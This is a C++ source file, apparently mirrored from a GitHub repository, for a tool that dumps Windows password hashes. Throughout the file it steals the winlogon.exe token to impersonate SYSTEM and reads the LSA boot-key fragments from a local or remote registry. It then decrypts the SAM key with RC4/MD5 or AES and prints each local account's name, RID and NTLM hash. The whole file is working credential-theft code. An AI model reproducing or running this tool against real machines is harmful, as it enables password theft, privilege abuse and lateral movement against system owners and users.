mirror of
https://github.com/j0urney1/RemoteSamDecrypt
synced 2026-06-21 13:54:05 +00:00
327 lines
9.6 KiB
C++
327 lines
9.6 KiB
C++
#include <Windows.h>
|
|
#include <iostream>
|
|
#include <TlHelp32.h>
|
|
#include "md5.h"
|
|
#include "reg.h"
|
|
#pragma comment(lib,"Advapi32.lib")
|
|
#pragma warning(disable:4996)
|
|
|
|
|
|
BYTE qwertyuiopazxc[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
|
|
BYTE Digits[] = "0123456789012345678901234567890123456789";
|
|
BYTE NTPASSWORD[] = "NTPASSWORD";
|
|
|
|
void desDecrypt(const BYTE *in, const BYTE *key, LPBYTE out);
|
|
void rc4Decrypt(CRYPTO_BUFFER *data, CRYPTO_BUFFER *key);
|
|
|
|
typedef struct _GENERICKEY_BLOB {
|
|
BLOBHEADER Header;
|
|
DWORD dwKeyLen;
|
|
} GENERICKEY_BLOB, *PGENERICKEY_BLOB;
|
|
void strToHex(CHAR *str) {
|
|
for (int i = 0; i < 8; i++)
|
|
{
|
|
if (str[i] >= 0x30 && str[i] <= 0x39) {
|
|
str[i] = str[i] - 0x30;
|
|
}
|
|
else if (str[i] >= 'a' && str[i] <= 'f') {
|
|
str[i] = str[i] - 'a' + 0xa;
|
|
}
|
|
else if (str[i] >= 'A' && str[i] <= 'F') {
|
|
str[i] = str[i] - 'A' + 0xa;
|
|
}
|
|
else
|
|
return;
|
|
}
|
|
}
|
|
void getClassInfo(HKEY hkey, char *regName, unsigned char *sysKey, int i) {
|
|
DWORD c = 0x10;
|
|
HKEY hkResult1;
|
|
BYTE classInfo[0x10] = { 0 };
|
|
DWORD status;
|
|
status = RegOpenKeyEx(hkey, regName, 0, KEY_READ, &hkResult1);
|
|
if (status != ERROR_SUCCESS) {
|
|
return;
|
|
}
|
|
RegQueryInfoKey(hkResult1, (LPSTR)classInfo, &c, 0, 0, 0, 0, 0, 0, 0, 0, 0);
|
|
RegCloseKey(hkResult1);
|
|
strToHex((char*)classInfo);
|
|
sysKey[i + 0] = 16 * classInfo[0] + classInfo[1];
|
|
sysKey[i + 1] = 16 * classInfo[2] + classInfo[3];
|
|
sysKey[i + 2] = 16 * classInfo[4] + classInfo[5];
|
|
sysKey[i + 3] = 16 * classInfo[6] + classInfo[7];
|
|
}
|
|
void getSysKey(char *remoteComputerName, BYTE *bootkey) {
|
|
char reverse[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
|
|
BYTE sysKey[0x10] = { 0 };
|
|
HKEY hkResult;
|
|
BYTE classInfo[0x10] = { 0 };
|
|
DWORD status;
|
|
HKEY hKey;
|
|
|
|
status = RegConnectRegistryA(remoteComputerName, HKEY_LOCAL_MACHINE, &hKey);
|
|
if (status != ERROR_SUCCESS) {
|
|
printf("Get SysKey ERROR %d", status);
|
|
exit(1);
|
|
}
|
|
status = RegOpenKeyEx(hKey, "SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &hkResult);
|
|
if (status != ERROR_SUCCESS) {
|
|
exit(1);
|
|
}
|
|
getClassInfo(hkResult, "JD", sysKey, 0);
|
|
getClassInfo(hkResult, "Skew1", sysKey, 4);
|
|
getClassInfo(hkResult, "GBG", sysKey, 8);
|
|
getClassInfo(hkResult, "Data", sysKey, 12);
|
|
RegCloseKey(hkResult);
|
|
RegCloseKey(hKey);
|
|
printf("SysKey: ");
|
|
for (int i = 0; i < 0x10; i++)
|
|
{
|
|
bootkey[i] = sysKey[reverse[i]];
|
|
if (bootkey[i] <= 0xf) {
|
|
printf("0%x", bootkey[i]);
|
|
}
|
|
else {
|
|
printf("%x", bootkey[i]);
|
|
}
|
|
}
|
|
printf("\n");
|
|
}
|
|
|
|
void aesDecrypt(BYTE *Key, BYTE *Data, BYTE *IV, BYTE *outData, DWORD *dwOutLen) {
|
|
HCRYPTPROV hProv;
|
|
HCRYPTKEY hKey;
|
|
DWORD mode = CRYPT_MODE_CBC;
|
|
PGENERICKEY_BLOB keyBlob;
|
|
DWORD szBlob = sizeof(GENERICKEY_BLOB) + 0x10;
|
|
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
|
if (keyBlob = (PGENERICKEY_BLOB)LocalAlloc(LPTR, szBlob)) {
|
|
keyBlob->Header.bType = PLAINTEXTKEYBLOB;
|
|
keyBlob->Header.bVersion = CUR_BLOB_VERSION;
|
|
keyBlob->Header.reserved = 0;
|
|
keyBlob->Header.aiKeyAlg = CALG_AES_128;
|
|
keyBlob->dwKeyLen = 0x10;
|
|
memcpy((PBYTE)keyBlob + sizeof(GENERICKEY_BLOB), Key, keyBlob->dwKeyLen);
|
|
CryptImportKey(hProv, (LPCBYTE)keyBlob, szBlob, 0, 0, &hKey);
|
|
CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE)&mode, 0);
|
|
CryptSetKeyParam(hKey, KP_IV, IV, 0);
|
|
memcpy(outData, Data, 0x10);
|
|
CryptDecrypt(hKey, 0, TRUE, 0, outData, dwOutLen);
|
|
free(keyBlob);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
void getSamKey(char *remoteComputerName, BYTE *samkey, BYTE *sysKey) {
|
|
HKEY hKey, hkResult;
|
|
PDOMAIN_ACCOUNT_F value;
|
|
DWORD outLen = 0x10;
|
|
DWORD len;
|
|
DWORD status;
|
|
MD5_CTX md5ctx;
|
|
CRYPTO_BUFFER rc4data = { 0x10, 0x10, samkey };
|
|
CRYPTO_BUFFER key = { 0x10, 0x10, md5ctx.digest };
|
|
PSAM_KEY_DATA_AES pAesKey;
|
|
status = RegConnectRegistryA(remoteComputerName, HKEY_LOCAL_MACHINE, &hKey);
|
|
if (status != ERROR_SUCCESS) {
|
|
exit(1);
|
|
}
|
|
status = RegOpenKeyEx(hKey, "SAM\\SAM\\Domains\\Account", 0, KEY_READ, &hkResult);
|
|
if (status != ERROR_SUCCESS) {
|
|
printf("Get SamKey ERROR %d", status);
|
|
exit(1);
|
|
}
|
|
RegQueryValueEx(hkResult, "F", 0, NULL, NULL, &len);
|
|
value = (PDOMAIN_ACCOUNT_F)LocalAlloc(LPTR, len);
|
|
RegQueryValueEx(hkResult, "F", 0, NULL, (PBYTE)value, &len);
|
|
RegCloseKey(hKey);
|
|
RegCloseKey(hkResult);
|
|
printf("SamKey: ");
|
|
switch (value->keys1.Revision)
|
|
{
|
|
case 1:
|
|
|
|
MD5Init(&md5ctx);
|
|
MD5Update(&md5ctx, value->keys1.Salt, 0x10);
|
|
MD5Update(&md5ctx, qwertyuiopazxc, sizeof(qwertyuiopazxc));
|
|
MD5Update(&md5ctx, sysKey, 0x10);
|
|
MD5Update(&md5ctx, Digits, sizeof(Digits));
|
|
MD5Final(&md5ctx);
|
|
RtlCopyMemory(samkey, value->keys1.Key, 0x10);
|
|
rc4Decrypt(&rc4data, &key);
|
|
break;
|
|
case 2:
|
|
pAesKey = (PSAM_KEY_DATA_AES)&value->keys1;
|
|
aesDecrypt(sysKey, pAesKey->data, pAesKey->Salt, samkey, &outLen);
|
|
break;
|
|
}
|
|
for (int i = 0; i < 0x10; i++) {
|
|
if (samkey[i] <= 0x0f)
|
|
printf("0%x", samkey[i]);
|
|
else
|
|
printf("%x", samkey[i]);
|
|
}
|
|
printf("\n");
|
|
LocalFree(value);
|
|
}
|
|
|
|
void hashDecrypt(BYTE *encHash, CHAR *hexRID) {
|
|
BYTE byteRID[0x4];
|
|
BYTE hash[0X10];
|
|
strToHex(hexRID);
|
|
byteRID[0] = hexRID[6] * 16 + hexRID[7];
|
|
byteRID[1] = hexRID[4] * 16 + hexRID[5];
|
|
byteRID[2] = hexRID[2] * 16 + hexRID[3];
|
|
byteRID[3] = hexRID[0] * 16 + hexRID[1];
|
|
|
|
desDecrypt(encHash, byteRID, hash);
|
|
for (int i = 0; i < 0x10; i++) {
|
|
if (hash[i] <= 0xf) {
|
|
printf("0%x", hash[i]);
|
|
}
|
|
else {
|
|
printf("%x", hash[i]);
|
|
}
|
|
}
|
|
|
|
}
|
|
void getHash(char *remoteComputerName, BYTE *samKey) {
|
|
DWORD status;
|
|
HKEY hKey, hkResult;
|
|
DWORD nbSubKeys;
|
|
DWORD szMaxSubKeyLen;
|
|
DWORD szUser;
|
|
char *subKeyName;
|
|
|
|
status = RegConnectRegistryA(remoteComputerName, HKEY_LOCAL_MACHINE, &hKey);
|
|
if (status != ERROR_SUCCESS) {
|
|
exit(1);
|
|
}
|
|
status = RegOpenKeyEx(hKey, "SAM\\SAM\\Domains\\Account\\Users", 0, KEY_READ, &hkResult);
|
|
if (status != ERROR_SUCCESS) {
|
|
printf("Get Hash ERROR %d", status);
|
|
exit(1);
|
|
}
|
|
RegQueryInfoKey(hkResult, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL);
|
|
szMaxSubKeyLen++;
|
|
subKeyName = (char*)LocalAlloc(LPTR, MAX_PATH);
|
|
for (int i = 0; i < nbSubKeys - 1; i++) {
|
|
HKEY hkResult1;
|
|
DWORD outLen = 0x10;
|
|
DWORD ntLen = 0;
|
|
DWORD regLength = 0;
|
|
DWORD rid = 0;
|
|
PUSER_ACCOUNT_V value;
|
|
BYTE key[0x04];
|
|
MD5_CTX md5ctx;
|
|
CRYPTO_BUFFER cypheredHashBuffer = { 0x10, 0x10, NULL }, keyBuffer = { 0x10, 0x10, md5ctx.digest };
|
|
|
|
szUser = szMaxSubKeyLen;
|
|
RegEnumKeyEx(hkResult, i, subKeyName, &szUser, NULL, NULL, NULL, NULL);
|
|
sscanf_s(subKeyName, "%x", &rid);
|
|
|
|
RegOpenKeyEx(hkResult, subKeyName, 0, KEY_READ, &hkResult1);
|
|
RegQueryValueEx(hkResult1, "V", 0, NULL, NULL, ®Length);
|
|
value = (PUSER_ACCOUNT_V)LocalAlloc(LPTR, regLength);
|
|
RegQueryValueEx(hkResult1, "V", 0, NULL, (PBYTE)value, ®Length);
|
|
PSAM_HASH pHash = (PSAM_HASH)(value->datas + value->NTLMHash.offset);
|
|
for (int i = 0; i < value->Username.lenght; i++) {
|
|
if ((value->datas + value->Username.offset)[i] != 0) {
|
|
printf("%c", (value->datas + value->Username.offset)[i]);
|
|
}
|
|
}
|
|
printf("(%d):", rid);
|
|
strToHex(subKeyName);
|
|
key[0] = subKeyName[6] * 16 + subKeyName[7];
|
|
key[1] = subKeyName[4] * 16 + subKeyName[5];
|
|
key[2] = subKeyName[2] * 16 + subKeyName[3];
|
|
key[3] = subKeyName[0] * 16 + subKeyName[1];
|
|
switch (pHash->Revision)
|
|
{
|
|
case 1:
|
|
if (value->NTLMHash.lenght >= sizeof(SAM_HASH)) {
|
|
cypheredHashBuffer.Buffer = (PBYTE)LocalAlloc(LPTR, 0x10);
|
|
RtlCopyMemory(cypheredHashBuffer.Buffer, pHash->data, 0x10);
|
|
MD5Init(&md5ctx);
|
|
MD5Update(&md5ctx, samKey, 0x10);
|
|
MD5Update(&md5ctx, key, 0x04);
|
|
MD5Update(&md5ctx, NTPASSWORD, sizeof(NTPASSWORD));
|
|
MD5Final(&md5ctx);
|
|
rc4Decrypt(&cypheredHashBuffer, &keyBuffer);
|
|
hashDecrypt(cypheredHashBuffer.Buffer, subKeyName);
|
|
}
|
|
else
|
|
printf("NULL");
|
|
break;
|
|
case 2:
|
|
PSAM_HASH_AES pHashAes;
|
|
pHashAes = (PSAM_HASH_AES)pHash;
|
|
if (pHashAes->dataOffset >= 0x10) {
|
|
cypheredHashBuffer.Buffer = (PBYTE)LocalAlloc(LPTR, 0x10);
|
|
aesDecrypt(samKey, pHashAes->data, pHashAes->Salt, cypheredHashBuffer.Buffer, &outLen);
|
|
hashDecrypt(cypheredHashBuffer.Buffer, subKeyName);
|
|
}
|
|
else
|
|
printf("NULL");
|
|
break;
|
|
}
|
|
LocalFree(cypheredHashBuffer.Buffer);
|
|
LocalFree(value);
|
|
printf("\n");
|
|
RegCloseKey(hkResult1);
|
|
}
|
|
LocalFree(subKeyName);
|
|
RegCloseKey(hkResult);
|
|
RegCloseKey(hKey);
|
|
}
|
|
DWORD GetPid() {
|
|
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
|
PROCESSENTRY32 pe32;
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
BOOL Result = Process32First(handle, &pe32);
|
|
while (Result) {
|
|
if (!strcmp("winlogon.exe", pe32.szExeFile)) {
|
|
return pe32.th32ProcessID;
|
|
}
|
|
Result = Process32Next(handle, &pe32);
|
|
}
|
|
CloseHandle(handle);
|
|
return 0;
|
|
}
|
|
|
|
BOOL GetSystemToken() {
|
|
DWORD pid = GetPid();
|
|
HANDLE tokenHandle = NULL;
|
|
|
|
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid);
|
|
|
|
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
|
|
|
|
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
|
|
if (GetLastError() == NULL){
|
|
return TRUE;
|
|
}
|
|
printf("GetSystem Error %d", GetLastError());
|
|
return FALSE;
|
|
}
|
|
int main(int argc, char* argv[]) {
|
|
BYTE SysKey[0x10] = { 0 };
|
|
BYTE SamKey[0x10] = { 0 };
|
|
|
|
char *remoteComputerName = "";
|
|
|
|
if (argc != 1) {
|
|
remoteComputerName = argv[1];
|
|
}
|
|
else
|
|
{
|
|
if (!GetSystemToken()) { return 1; }
|
|
}
|
|
getSysKey(remoteComputerName, SysKey);
|
|
getSamKey(remoteComputerName, SamKey, SysKey);
|
|
getHash(remoteComputerName, SamKey);
|
|
printf("Done");
|
|
return 0;
|
|
}
|